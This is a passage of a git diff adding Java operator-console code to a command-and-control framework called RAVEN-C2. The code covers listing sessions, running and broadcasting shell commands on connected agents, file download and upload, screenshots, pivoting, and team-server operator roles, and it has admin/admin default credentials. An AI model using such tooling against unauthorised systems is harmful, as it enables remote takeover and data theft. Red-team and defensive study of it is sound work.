+ System.out.println(TerminalHelper.Divider()); + for (Session S : All) { + Logger.Custom(" %s#%-4d %-14s %-16s %-14s %-10s %-10s %s%s%n", AnsiColor.White, S.GetId(), TerminalHelper.Truncate(S.GetAgentName(), 14), TerminalHelper.Truncate(S.GetAgentIp(), 16), S.GetSessionType().name(), TerminalHelper.Truncate(S.GetOs(), 10), TerminalHelper.Truncate(S.GetUser(), 10), S.GetSessionKey(), AnsiColor.Reset); + } + System.out.println(); + } + + private void ShowStats() { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + int Count = Server.GetSessions().Count(); + System.out.println(TerminalHelper.Box("SESSION STATS")); + System.out.println(); + Logger.Custom(" %sTotal Active%s %d%n", AnsiColor.Red, AnsiColor.White, Count); + System.out.println(); + } + + private void ShowTasks() { + System.out.println(TerminalHelper.Box("TASK QUEUE")); + System.out.println(); + Logger.Info(" (task queue display not implemented — extend here)"); + System.out.println(); + } + + private void ShowSessionInfo(int Id) { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + Session S = Server.GetSessions().Get(Id).orElse(null); + if (S == null) { + Logger.Warn("session not found: " + Id); + return; + } + System.out.println(TerminalHelper.Box("SESSION INFO — #" + Id)); + System.out.println(); + Logger.Custom(" %sID %s%d%n", AnsiColor.Red, AnsiColor.White, S.GetId()); + Logger.Custom(" %sName %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetAgentName()); + Logger.Custom(" %sHostname %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetHostname()); + Logger.Custom(" %sOS %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetOs()); + Logger.Custom(" %sUser %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetUser()); + Logger.Custom(" %sArch %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetArch()); + Logger.Custom(" %sIP %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetAgentIp()); + Logger.Custom(" %sType %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetSessionType().name()); + Logger.Custom(" %sEncrypted %s%b%n", AnsiColor.Red, AnsiColor.White, S.IsEncrypted()); + Logger.Custom(" %smTLS %s%b%n", AnsiColor.Red, AnsiColor.White, S.IsMtlsEnabled()); + Logger.Custom(" %sJoined %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetJoinedAt()); + Logger.Custom(" %sNote %s%s%n", AnsiColor.Red, AnsiColor.White, Db.GetAgentNote(Id)); + System.out.println(); + } + + private void Interactive(int Id) { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + Session S = Server.GetSessions().Get(Id).orElse(null); + if (S == null) { + Logger.Warn("session not found: " + Id); + return; + } + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + Logger.Custom(" %sInteractive shell — session-%d (type 'back' to return)%s%n%n", AnsiColor.Green, Id, AnsiColor.Reset); + while (true) { + System.out.print(AnsiColor.Red + "[session-" + Id + "] " + AnsiColor.White + ">> " + AnsiColor.Reset); + System.out.flush(); + try { + String Input = Reader.readLine(); + if (Input == null || Input.equalsIgnoreCase("back") || Input.equalsIgnoreCase("exit")) break; + if (Input.isBlank()) continue; + Execute(Id, Input); + } catch (IOException Ex) { + break; + } + } + Logger.Custom(" %sReturned to main shell%s%n%n", AnsiColor.White, AnsiColor.Reset); + } + + private void Execute(int Id, String Cmd) { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + AddLog("[>] [" + OperatorName + "] session-" + Id + " » " + Cmd, false); + String[] R = Server.ExecuteCommand(Id, Cmd); + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, OperatorName, Cmd, R[1], Ok); + if (Ok) System.out.println(TerminalHelper.OutputBox(R[1])); + else Logger.Error(R[1]); + System.out.println(); + } + + private void Broadcast(List Ids, String Cmd) { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + AddLog("[BROADCAST] [" + OperatorName + "] > " + Ids.size() + " agents » " + Cmd, true); + Map Results = Server.BroadcastCommand(Ids, Cmd); + Results.forEach((Id, R) -> { + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, OperatorName, Cmd, R[1], Ok); + Logger.Custom(" %s[session-%d]%s %s%n", Ok ? AnsiColor.Green : AnsiColor.Red, Id, AnsiColor.Reset, R[1]); + }); + } + + private void BroadcastAll(String Cmd) { + if (Server == null || !Server.IsRunning()) { + Logger.Warn("server not running"); + return; + } + AddLog("[BROADCAST-ALL] [" + OperatorName + "] > " + Server.GetSessions().Count() + " agents » " + Cmd, true); + Map Results = Server.BroadcastAll(Cmd); + Results.forEach((Id, R) -> { + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, OperatorName, Cmd, R[1], Ok); + Logger.Custom(" %s[session-%d]%s %s%n", Ok ? AnsiColor.Green : AnsiColor.Red, Id, AnsiColor.Reset, R[1]); + }); + } + + private void ShowCommandHistory(int AgentId, int Limit) { + List> Hist = Db.GetCommandHistory(AgentId, Limit); + System.out.println(TerminalHelper.Box("COMMAND HISTORY (last " + Limit + (AgentId > 0 ? " — session-" + AgentId : "") + ")")); + System.out.println(); + if (Hist.isEmpty()) { + Logger.Info(" no history"); + System.out.println(); + return; + } + Logger.Custom(" %s%-5s %-12s %-10s %-36s %s%s%n", AnsiColor.Red, "SID", "OPERATOR", "STATUS", "COMMAND", "TIMESTAMP", AnsiColor.Reset); + System.out.println(TerminalHelper.Divider()); + for (Map H : Hist) { + boolean Ok = Boolean.parseBoolean(H.getOrDefault("Success", "false").toString()); + String Cmd = TerminalHelper.Truncate(H.getOrDefault("Command", "").toString(), 36); + Logger.Custom(" %s%-5s %-12s %s%-10s%s %-36s %s%s%n", AnsiColor.White, H.getOrDefault("AgentId", "?"), TerminalHelper.Truncate(H.getOrDefault("Operator", "?").toString(), 12), Ok ? AnsiColor.Green : AnsiColor.Red, Ok ? "✔ ok" : "✘ fail", AnsiColor.White, Cmd, H.getOrDefault("Timestamp", ""), AnsiColor.Reset); + } + System.out.println(); + } + + private void ShowOperators() { + List> Ops = Db.GetOperators(); + System.out.println(TerminalHelper.Box("OPERATORS (" + Ops.size() + ")")); + System.out.println(); + Logger.Custom(" %s%-18s %-14s %-30s %-20s%s%n", AnsiColor.Green, "USERNAME", "ROLE", "PERMISSIONS", "LAST SEEN", AnsiColor.Reset); + System.out.println(TerminalHelper.Divider()); + for (Map Op : Ops) { + OperatorRole R = OperatorRole.FromString(Op.get("Role").toString()); + boolean Me = Op.get("Username").toString().equals(OperatorName); + String Tag = Me ? AnsiColor.Green + " ◀ YOU" + AnsiColor.White : ""; + Logger.Custom(" %s%-18s %-14s %-30s %-20s%s%s%n", AnsiColor.White, Op.get("Username"), R.name(), R.PermissionString(), Op.getOrDefault("LastSeen", "Never"), Tag, AnsiColor.Reset); + } + System.out.println(); + Logger.Custom(" %sRole Reference:%s%n", AnsiColor.Red, AnsiColor.Reset); + for (OperatorRole R : OperatorRole.values()) Logger.Custom(" %s%-14s%s %s%n", AnsiColor.White, R.name(), AnsiColor.Reset, R.PermissionString()); + System.out.println(); + } + + private void ShowChat() { + List> Msgs = Db.GetChatLogs(100); + System.out.println(TerminalHelper.Box("CHAT MESSAGES")); + System.out.println(); + if (Msgs.isEmpty()) { + Logger.Info(" no messages"); + System.out.println(); + return; + } + for (Map M : Msgs) { + String From = M.getOrDefault("from_operator", "?").toString(); + String To = M.getOrDefault("to_operators", "all").toString(); + String Ts = M.getOrDefault("timestamp", "").toString(); + if (Ts.length() > 19) Ts = Ts.substring(11, 19); + boolean Mine = From.equals(OperatorName); + Logger.Custom(" %s[%s] %s%s%s [%s]: %s%s%n", Mine ? AnsiColor.Green : AnsiColor.White, Ts, Mine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, To.equals("all") ? "all" : "→ " + To, M.getOrDefault("message", ""), AnsiColor.Reset); + } + System.out.println(); + } + + private void ShowChatHistory(int Limit) { + List> Msgs = Db.GetChatLogs(Limit); + System.out.println(TerminalHelper.Box("CHAT HISTORY (DB — last " + Limit + ")")); + System.out.println(); + if (Msgs.isEmpty()) { + Logger.Info(" no chat history"); + System.out.println(); + return; + } + for (Map M : Msgs) { + String From = M.getOrDefault("from_operator", "?").toString(); + String To = M.getOrDefault("to_operators", "all").toString(); + String Ts = M.getOrDefault("timestamp", "").toString(); + if (Ts.length() > 19) Ts = Ts.substring(11, 19); + boolean Mine = From.equals(OperatorName); + Logger.Custom(" %s[%s] %s%s%s [%s]: %s%s%n", Mine ? AnsiColor.Green : AnsiColor.White, Ts, Mine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, To.equals("all") ? "all" : "→ " + To, M.getOrDefault("message", ""), AnsiColor.Reset); + } + System.out.println(); + } + + private void Shutdown() { + if (IsTeamMode && SharedServer != null && SharedServer == Server) { + Logger.Info("teamserver session ended — listener remains active"); + } else if (Server != null && Server.IsRunning()) { + Server.StopServer(); + } + Db.Close(); + Logger.Shutdown(); + System.exit(0); + } + + private boolean CanExecute() { + return !IsTeamMode || (OperatorRole != null && OperatorRole.CanExecute()); + } + + private boolean CanManage() { + return !IsTeamMode || (OperatorRole != null && OperatorRole.CanManage()); + } + + private String Usage(String Cmd) { + CommandDef D = CommandRegistry.Get(Cmd); + return D != null ? "usage: " + D.Usage() : "usage: " + Cmd; + } + + private static int ParseInt(String S) { + return Integer.parseInt(S.trim()); + } + + private static int ParseIntSafe(String S, int D) { + try { + return Integer.parseInt(S.trim()); + } catch (Exception Ex) { + return D; + } + } + + private static List ParseIds(String S) { + List Ids = new ArrayList<>(); + for (String Part : S.split(",")) + try { + Ids.add(Integer.parseInt(Part.trim())); + } catch (Exception Ignored) {} + return Ids; + } + + private static boolean IsPortBound(String Host, int Port) { + try (ServerSocket T = new ServerSocket()) { + T.setReuseAddress(false); + T.bind(new InetSocketAddress(Port)); + return false; + } catch (IOException Ex) { + return true; + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/command/CommandDispatcher.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/command/CommandDispatcher.java new file mode 100644 index 0000000..1fe414c --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/command/CommandDispatcher.java @@ -0,0 +1,328 @@ +package com.raven.interfaces.CLI.core.command; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.interfaces.CLI.core.operator.OperatorCommands; +import com.raven.interfaces.CLI.core.server.ServerManager; +import com.raven.interfaces.CLI.core.session.SessionCommands; +import com.raven.interfaces.CLI.core.task.TaskCommands; +import com.raven.interfaces.CLI.core.web.WebPanelManager; +import com.raven.interfaces.CLI.module.chat.ChatManager; +import com.raven.interfaces.CLI.module.log.LogManager; +import com.raven.utils.ServerConfig; +import com.raven.utils.TerminalHelper; +import java.util.ArrayList; +import java.util.List; + +public final class CommandDispatcher { + + public enum DispatchResult { + Handled, + Exit, + UpdateLastCount + } + + private final ServerConfig Config; + private final TeamDatabase Database; + private final LogManager LogManager; + private final ServerManager ServerManager; + private final SessionCommands SessionCommands; + private final OperatorCommands OperatorCommands; + private final ChatManager ChatManager; + private final WebPanelManager WebPanelManager; + private final TaskCommands TaskCommands; + + private boolean IsTeamServerMode; + + public CommandDispatcher(ServerConfig Config, TeamDatabase Database, LogManager LogManager, ServerManager ServerManager, SessionCommands SessionCommands, OperatorCommands OperatorCommands, ChatManager ChatManager, WebPanelManager WebPanelManager, TaskCommands TaskCommands) { + this.Config = Config; + this.Database = Database; + this.LogManager = LogManager; + this.ServerManager = ServerManager; + this.SessionCommands = SessionCommands; + this.OperatorCommands = OperatorCommands; + this.ChatManager = ChatManager; + this.WebPanelManager = WebPanelManager; + this.TaskCommands = TaskCommands; + } + + public void SetTeamServerMode(boolean IsTeamServerMode) { + this.IsTeamServerMode = IsTeamServerMode; + } + + public DispatchResult Dispatch(String Command, String[] Parts) { + switch (Command) { + case "exit", "quit" -> { + Logger.Debug("shutting down"); + ServerManager.Stop(); + if (WebPanelManager.IsRunning()) WebPanelManager.Stop(); + Database.Close(); + Logger.Shutdown(); + return DispatchResult.Exit; + } + case "help" -> OperatorCommands.ShowHelp(); + case "clear" -> { + TerminalHelper.Clear(); + return DispatchResult.UpdateLastCount; + } + case "sessions", "agents" -> SessionCommands.ShowSessions(); + case "status" -> ServerManager.ShowStatus(Database.IsConnected() ? "connected" : "memory", Config.GetDatabaseType()); + case "stats" -> SessionCommands.ShowStats(); + case "logs" -> { + LogManager.Show(); + return DispatchResult.UpdateLastCount; + } + case "tasks" -> SessionCommands.ShowTasksQueue(); + case "use" -> { + if (Parts.length < 2) { + Logger.Info("usage: use "); + break; + } + try { + SessionCommands.Interactive(Integer.parseInt(Parts[1])); + return DispatchResult.UpdateLastCount; + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "exec" -> { + if (!OperatorCommands.CanExecute()) { + Logger.Warn("insufficient permissions"); + break; + } + if (Parts.length < 3) { + Logger.Info("usage: exec "); + break; + } + try { + SessionCommands.Execute(Integer.parseInt(Parts[1]), Parts[2]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "broadcast" -> { + if (!OperatorCommands.CanExecute()) { + Logger.Warn("insufficient permissions"); + break; + } + if (Parts.length < 3) { + Logger.Info("usage: broadcast "); + break; + } + String Target = Parts[1].toLowerCase(); + String BroadcastCommand = Parts[2]; + if (Target.equals("all")) { + SessionCommands.BroadcastAll(BroadcastCommand); + } else { + List Ids = new ArrayList<>(); + for (String IdString : Target.split(",")) + try { + Ids.add(Integer.parseInt(IdString.trim())); + } catch (Exception Ignored) {} + if (Ids.isEmpty()) Logger.Info("no valid session IDs"); + else SessionCommands.Broadcast(Ids, BroadcastCommand); + } + } + case "kill" -> { + if (Parts.length < 2) { + Logger.Info("usage: kill "); + break; + } + try { + SessionCommands.Kill(Integer.parseInt(Parts[1])); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "sysinfo", "info" -> { + if (Parts.length < 2) { + Logger.Info("usage: sysinfo "); + break; + } + try { + SessionCommands.ShowSessionInfo(Integer.parseInt(Parts[1])); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "whoami" -> { + if (SessionCommands.GetCurrentSessionId() > 0) { + SessionCommands.Execute(SessionCommands.GetCurrentSessionId(), "whoami"); + } else if (Parts.length > 1) { + try { + SessionCommands.Execute(Integer.parseInt(Parts[1]), "whoami"); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } else Logger.Info("usage: whoami "); + } + case "screenshot" -> { + if (Parts.length < 2) { + Logger.Info("usage: screenshot "); + break; + } + try { + TaskCommands.Screenshot(Integer.parseInt(Parts[1])); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "download" -> { + if (Parts.length < 3) { + Logger.Info("usage: download "); + break; + } + try { + TaskCommands.Download(Integer.parseInt(Parts[1]), Parts[2]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "upload" -> { + if (Parts.length < 3) { + Logger.Info("usage: upload "); + break; + } + try { + String[] UploadParts = Parts[2].split("\\s+", 2); + TaskCommands.Upload(Integer.parseInt(Parts[1]), UploadParts[0], UploadParts.length > 1 ? UploadParts[1] : ""); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "sleep" -> { + if (Parts.length < 3) { + Logger.Info("usage: sleep "); + break; + } + try { + TaskCommands.Sleep(Integer.parseInt(Parts[1]), Parts[2]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "pivot" -> { + if (Parts.length < 3) { + Logger.Info("usage: pivot "); + break; + } + try { + TaskCommands.RegisterPivot(Integer.parseInt(Parts[1]), Parts[2]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "history" -> { + int SessionId = Parts.length > 1 ? TaskCommands.ParseIntSafe(Parts[1], 0) : 0; + int Limit = Parts.length > 2 ? TaskCommands.ParseIntSafe(Parts[2], 50) : 50; + TaskCommands.ShowCommandHistory(SessionId, Limit); + } + case "note" -> { + if (Parts.length < 3) { + Logger.Info("usage: note "); + break; + } + try { + TaskCommands.SetNote(Integer.parseInt(Parts[1]), Parts[2]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "getnote" -> { + if (Parts.length < 2) { + Logger.Info("usage: getnote "); + break; + } + try { + TaskCommands.GetNote(Integer.parseInt(Parts[1])); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid session ID"); + } + } + case "listopt", "listoperators" -> OperatorCommands.ShowOperators(); + case "addopt", "addoperator" -> { + if (Parts.length < 3) { + Logger.Info("usage: addopt [SUPER|ADMIN|OPERATOR|MEMBER]"); + break; + } + String[] Tokens = Parts[2].split("\\s+", 2); + String Password = Tokens[0]; + String RoleName = Tokens.length > 1 ? Tokens[1] : "OPERATOR"; + OperatorCommands.AddOperator(Parts[1], Password, RoleName, Config.GetAdminUsername()); + } + case "delopt", "deleteoperator" -> { + if (Parts.length < 2) { + Logger.Info("usage: delopt "); + break; + } + OperatorCommands.DeleteOperator(Parts[1], Config.GetAdminUsername()); + } + case "kick", "kickopt" -> { + if (Parts.length < 2) { + Logger.Info("usage: kick "); + break; + } + OperatorCommands.KickOperator(Parts[1], Config.GetAdminUsername()); + } + case "setrole", "changerole" -> { + if (Parts.length < 3) { + Logger.Info("usage: setrole "); + break; + } + OperatorCommands.SetRole(Parts[1], Parts[2], Config.GetAdminUsername()); + } + case "passwd", "changepassword" -> { + if (Parts.length < 3) { + Logger.Info("usage: passwd "); + break; + } + OperatorCommands.ChangePassword(Parts[1], Parts[2]); + } + case "chat" -> ChatManager.ShowLocalMessages(); + case "chathistory", "chatlog" -> ChatManager.ShowDatabaseHistory(); + case "ch" -> { + if (!IsTeamServerMode) { + Logger.Warn("not in team mode"); + break; + } + if (Parts.length < 3) { + Logger.Info("usage: ch "); + break; + } + ChatManager.Send(Parts[1], Parts[2]); + } + case "gc" -> { + if (!IsTeamServerMode) { + Logger.Warn("not in team mode"); + break; + } + if (Parts.length < 3) { + Logger.Info("usage: gc "); + break; + } + String Target = Parts[1].toLowerCase(); + String Message = Parts[2]; + if (Target.equals("all")) { + ChatManager.Send("all", Message); + } else { + for (String Name : Target.split(",")) { + String Trimmed = Name.trim(); + if (!Trimmed.isEmpty()) ChatManager.Send(Trimmed, Message); + } + } + } + case "webstart" -> { + String WebHost = Parts.length > 1 ? Parts[1] : Config.GetWebHost(); + int WebPort = Parts.length > 2 ? TaskCommands.ParseIntSafe(Parts[2], Config.GetWebPort()) : Config.GetWebPort(); + WebPanelManager.Start(WebHost, WebPort, ServerManager.GetServer(), ServerManager.GetServerStartTime()); + } + case "webstop" -> WebPanelManager.Stop(); + case "webstatus" -> WebPanelManager.ShowStatus(); + default -> { + Logger.Error("Unknown command: " + Command); + Logger.Info("type 'help' for available commands"); + } + } + return DispatchResult.Handled; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/operator/OperatorCommands.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/operator/OperatorCommands.java new file mode 100644 index 0000000..4c787de --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/operator/OperatorCommands.java @@ -0,0 +1,178 @@ +package com.raven.interfaces.CLI.core.operator; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.core.output.Logger; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import com.raven.interfaces.banner.CLIBanner; +import com.raven.utils.AnsiColor; +import java.io.BufferedReader; +import java.io.Console; +import java.io.IOException; +import java.util.List; +import java.util.Map; + +public final class OperatorCommands { + + private final TeamDatabase Database; + private final TerminalRenderer Renderer; + + private String OperatorName; + private OperatorRole OperatorRoleValue; + private boolean IsTeamServerMode; + + public OperatorCommands(TeamDatabase Database, TerminalRenderer Renderer) { + this.Database = Database; + this.Renderer = Renderer; + } + + public String GetOperatorName() { return OperatorName; } + public OperatorRole GetOperatorRoleValue() { return OperatorRoleValue; } + + public void SetTeamServerMode(boolean IsTeamServerMode) { + this.IsTeamServerMode = IsTeamServerMode; + } + + public boolean CanManage() { return !IsTeamServerMode || (OperatorRoleValue != null && OperatorRoleValue.CanManage()); } + public boolean CanKick() { return !IsTeamServerMode || (OperatorRoleValue != null && OperatorRoleValue.CanKickOperator()); } + public boolean CanExecute() { return !IsTeamServerMode || (OperatorRoleValue != null && OperatorRoleValue.CanExecute()); } + + public boolean Login(BufferedReader Reader) throws IOException { + System.out.println(Renderer.Box("TEAMSERVER LOGIN")); + System.out.println(); + Logger.Custom(" %sDefault credentials: admin / admin (change after first login)%s%n%n", + AnsiColor.White, AnsiColor.Reset); + + for (int Attempt = 1; Attempt <= 3; Attempt++) { + Logger.Custom(" %sUsername:%s ", AnsiColor.Red, AnsiColor.Reset); + System.out.flush(); + String Username = Reader.readLine(); + if (Username == null) return false; + Username = Username.trim(); + + Logger.Custom(" %sPassword:%s ", AnsiColor.Red, AnsiColor.Reset); + System.out.flush(); + String Password; + Console SystemConsole = System.console(); + if (SystemConsole != null) { + char[] PasswordChars = SystemConsole.readPassword(); + Password = PasswordChars != null ? new String(PasswordChars) : ""; + } else { + Password = Reader.readLine(); + } + if (Password == null) return false; + + if (!Database.ValidateOperator(Username, TeamDatabase.HashPassword(Password))) { + Logger.Custom(" %sInvalid credentials - Attempt %d/3%s%n%n", AnsiColor.Red, Attempt, AnsiColor.Reset); + continue; + } + + OperatorName = Username; + OperatorRoleValue = Database.GetOperatorRole(Username); + Database.UpdateLastSeen(Username); + Logger.Info("Operator login: " + Username + " [" + OperatorRoleValue + "]"); + Logger.Custom(" %n%sWelcome, %s [%s]%s%n", AnsiColor.Green, Username, OperatorRoleValue, AnsiColor.Reset); + Logger.Custom(" %sPermissions:%s %s%n%n", AnsiColor.Red, AnsiColor.White, OperatorRoleValue.PermissionString()); + return true; + } + + Logger.Error("authentication failed - exit."); + return false; + } + + public void ShowHelp() { + System.out.println(Renderer.Box("COMMAND REFERENCE")); + System.out.println(); + CLIBanner.Print(); + if (IsTeamServerMode && OperatorName != null) { + System.out.println(); + Logger.Custom(" %s[TEAMSERVER MODE]%s Operator: %s%s%s Role: %s%s%s%n", + AnsiColor.Red, AnsiColor.Reset, + AnsiColor.White, OperatorName, AnsiColor.Reset, + AnsiColor.White, OperatorRoleValue != null ? OperatorRoleValue.name() : "?", AnsiColor.Reset); + if (OperatorRoleValue != null) + Logger.Custom(" %sPermissions:%s %s%n", AnsiColor.Red, AnsiColor.White, OperatorRoleValue.PermissionString()); + } + System.out.println(); + } + + public void ShowOperators() { + List> Operators = Database.GetOperators(); + System.out.println(Renderer.Box("OPERATORS (" + Operators.size() + ")")); + System.out.println(); + Logger.Custom(" %s%-18s %-14s %-30s %-20s%s%n", + AnsiColor.Green, "USERNAME", "ROLE", "PERMISSIONS", "LAST SEEN", AnsiColor.Reset); + System.out.println(Renderer.Divider()); + + for (Map Operator : Operators) { + OperatorRole Role = OperatorRole.FromString(Operator.get("Role").toString()); + boolean IsSelf = Operator.get("Username").toString().equals(OperatorName); + String Mark = IsSelf ? AnsiColor.Green + " < YOU" + AnsiColor.White : ""; + Logger.Custom(" %s%-18s %-14s %-30s %-20s%s%s%n", + AnsiColor.White, + Operator.get("Username"), + Role.name(), + Role.PermissionString(), + Operator.getOrDefault("LastSeen", "Never"), + Mark, + AnsiColor.Reset); + } + + System.out.println(); + Logger.Custom(" %sRole Reference:%s%n", AnsiColor.Red, AnsiColor.Reset); + for (OperatorRole Role : OperatorRole.values()) + Logger.Custom(" %s%-14s%s %s%n", AnsiColor.White, Role.name(), AnsiColor.Reset, Role.PermissionString()); + System.out.println(); + } + + public void AddOperator(String Username, String Password, String RoleName, String AdminUsername) { + if (!CanManage()) { Logger.Warn("ADMIN/SUPER required"); return; } + if (Password.length() < 8) { Logger.Warn("password must be >= 8 chars"); return; } + OperatorRole Role = OperatorRole.FromString(RoleName); + if (Role == OperatorRole.SUPER && (OperatorRoleValue == null || !OperatorRoleValue.IsSuperAdmin())) { + Logger.Warn("only SUPER can create SUPER accounts"); return; + } + if (Database.CreateOperator(Username, TeamDatabase.HashPassword(Password), Role)) + Logger.Custom(" Operator created: %s [%s] %s%n", Username, Role, Role.PermissionString()); + else + Logger.Warn("username already exists"); + } + + public void DeleteOperator(String Username, String AdminUsername) { + if (!CanManage()) { Logger.Warn("ADMIN/SUPER required"); return; } + if (Username.equalsIgnoreCase(AdminUsername)) { Logger.Warn("cannot delete admin"); return; } + if (Database.DeleteOperator(Username)) Logger.Custom(" Deleted: %s%n", Username); + else Logger.Warn("operator not found"); + } + + public void KickOperator(String Username, String AdminUsername) { + if (!CanKick()) { Logger.Warn("SUPER role required to kick operators"); return; } + if (Username.equalsIgnoreCase(AdminUsername) || Username.equals(OperatorName)) { + Logger.Warn("cannot kick admin or yourself"); return; + } + if (Database.DeleteOperator(Username)) Logger.Custom(" Kicked (removed): %s%n", Username); + else Logger.Warn("operator not found"); + } + + public void SetRole(String Username, String RoleName, String AdminUsername) { + if (!CanManage()) { Logger.Warn("ADMIN/SUPER required"); return; } + if (Username.equalsIgnoreCase(AdminUsername)) { Logger.Warn("cannot change admin role"); return; } + OperatorRole NewRole = OperatorRole.FromString(RoleName); + if (NewRole == OperatorRole.SUPER && (OperatorRoleValue == null || !OperatorRoleValue.IsSuperAdmin())) { + Logger.Warn("only SUPER can promote to SUPER"); return; + } + if (Database.UpdateOperatorRole(Username, NewRole)) + Logger.Custom(" Role updated: %s > %s %s%n", Username, NewRole, NewRole.PermissionString()); + else + Logger.Warn("operator not found"); + } + + public void ChangePassword(String Username, String NewPassword) { + if (!CanManage()) { Logger.Warn("ADMIN/SUPER required"); return; } + if (NewPassword.length() < 8) { Logger.Warn("password must be >= 8 chars"); return; } + if (Database.UpdateOperatorPassword(Username, TeamDatabase.HashPassword(NewPassword))) + Logger.Custom(" Password updated: %s%n", Username); + else + Logger.Warn("operator not found"); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/server/ServerManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/server/ServerManager.java new file mode 100644 index 0000000..53bc30d --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/server/ServerManager.java @@ -0,0 +1,163 @@ +package com.raven.interfaces.CLI.core.server; + +import com.raven.core.event.EventManager.EventType; +import com.raven.core.output.Logger; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.interfaces.CLI.module.log.LogManager; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import com.raven.utils.AnsiColor; +import com.raven.utils.ServerConfig; +import com.raven.utils.SystemHelper; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.time.Duration; +import java.time.Instant; +import java.util.Map; + +public final class ServerManager { + + private static final Object SharedServerLock = new Object(); + private static volatile RavenServer SharedServer = null; + private static volatile Instant SharedServerStart = null; + + private final ServerConfig Config; + private final LogManager LogManager; + private final TerminalRenderer Renderer; + + private RavenServer Server; + private Instant ServerStartTime; + private boolean IsTeamServerMode; + private String OperatorName; + private ListenerMode ActiveMode; + + public ServerManager(ServerConfig Config, LogManager LogManager, TerminalRenderer Renderer) { + this.Config = Config; + this.LogManager = LogManager; + this.Renderer = Renderer; + } + + public void SetContext(boolean IsTeamServerMode, String OperatorName, ListenerMode ActiveMode) { + this.IsTeamServerMode = IsTeamServerMode; + this.OperatorName = OperatorName; + this.ActiveMode = ActiveMode; + } + + public boolean Start(String Host, int Port, ListenerMode Mode) { + this.ActiveMode = Mode; + + if (IsTeamServerMode) { + synchronized (SharedServerLock) { + if (SharedServer != null && SharedServer.IsRunning()) { + Server = SharedServer; + ServerStartTime = SharedServerStart; + Logger.Info("Operator " + OperatorName + " joined existing server on " + Host + ":" + Port); + return true; + } + RavenServer NewServer = new RavenServer(Host, Port, Mode, Config); + NewServer.AddEventListener(this::HandleEvent); + boolean[] Result = NewServer.StartServer(); + if (!Result[0]) { + if (IsPortAlreadyBound(Host, Port)) { + Logger.Info("Operator " + OperatorName + " attached to existing listener on " + Host + ":" + Port); + ServerStartTime = Instant.now(); + LogManager.Add(AnsiColor.White + " attached to listener on " + Host + ":" + Port + " (cross-process mode)" + AnsiColor.Reset, true); + return true; + } + LogManager.Add(AnsiColor.Red + " failed to start server" + AnsiColor.Reset, true); + return false; + } + SharedServer = NewServer; + SharedServerStart = Instant.now(); + Server = SharedServer; + ServerStartTime = SharedServerStart; + Thread AcceptThread = new Thread(SharedServer::AcceptConnections, "AcceptConnections"); + AcceptThread.setDaemon(true); + AcceptThread.start(); + return true; + } + } + + Server = new RavenServer(Host, Port, Mode, Config); + Server.AddEventListener(this::HandleEvent); + boolean[] Result = Server.StartServer(); + if (!Result[0]) { + LogManager.Add(AnsiColor.Red + " failed to start server" + AnsiColor.Reset, true); + return false; + } + ServerStartTime = Instant.now(); + Thread AcceptThread = new Thread(Server::AcceptConnections, "AcceptConnections"); + AcceptThread.setDaemon(true); + AcceptThread.start(); + return true; + } + + public void Stop() { + if (IsTeamServerMode && SharedServer != null && SharedServer == Server) { + Logger.Info("teamserver session ended - server remains active"); + } else if (Server != null && Server.IsRunning()) { + Server.StopServer(); + } + } + + public void ShowStatus(String DatabaseState, String DatabaseType) { + long UptimeSeconds = ServerStartTime != null + ? Duration.between(ServerStartTime, Instant.now()).getSeconds() : 0; + + System.out.println(Renderer.Box("SERVER 